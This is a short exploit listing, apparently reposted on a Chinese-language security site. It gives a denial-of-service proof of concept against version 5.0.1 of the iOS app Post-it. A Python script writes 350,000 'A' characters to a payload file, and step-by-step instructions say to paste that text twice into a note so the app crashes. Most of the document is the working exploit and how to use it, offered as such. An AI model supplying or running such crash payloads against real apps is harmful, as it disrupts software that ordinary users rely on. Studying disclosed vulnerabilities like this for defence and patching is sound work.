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TheHackerWorld官方

Post-it 5.0.1 - Denial of Service (PoC)

iOS,dos,

发布于2022年11月3日2年前

# Exploit Title: Post-it 5.0.1 - Denial of Service (PoC)
# Date: 06-14-2021
# Author: Geovanni Ruiz
# Download Link: https://apps.apple.com/es/app/post-it/id920127738
# Version: 5.0.1
# Category: DoS (iOS)

##### Vulnerability #####

Post-it is vulnerable to a DoS condition when a long list of characters is
being used when creating a note:

# STEPS #
# Open the program.
# Create a new Note.
# Run the python exploit script payload.py, it will create a new
payload.txt file
# Copy the content of the file "payload.txt"
# Paste the content from payload.txt twice in the new Note.
# Crashed

Successful exploitation will cause the application to stop working.

I have been able to test this exploit against iOS 14.2.

##### PoC #####
--> payload.py <--
#!/usr/bin/env python
buffer = "\x41" * 350000

try:
f = open("payload.txt","w")
f.write(buffer)
f.close()
print ("File created")
except:
print ("File cannot be created")